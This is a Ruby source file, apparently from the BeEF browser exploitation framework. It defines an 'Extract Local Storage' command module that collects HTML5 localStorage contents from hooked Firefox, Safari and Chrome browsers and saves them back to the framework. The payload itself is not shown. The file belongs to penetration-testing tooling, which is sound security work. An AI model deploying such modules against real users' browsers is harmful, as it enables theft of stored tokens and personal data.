Files
beef/modules/misc/extract_local_storage/module.rb
2011-06-19 23:35:13 +00:00

45 lines
884 B
Ruby

class Extract_local_storage < BeEF::Core::Command
#
# Defines and set up the command module.
#
# More info:
# http://dev.w3.org/html5/webstorage/
# http://diveintohtml5.org/storage.html
#
def initialize
super({
'Name' => 'Extract Local Storage',
'Description' => 'Extracts data from the HTML5 localStorage object.',
'Category' => 'Misc',
'Author' => 'bcoles',
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => FF
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => S
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => C
})
use_template!
end
def callback
content = {}
content['localStorage'] = @datastore['localStorage']
save content
end
end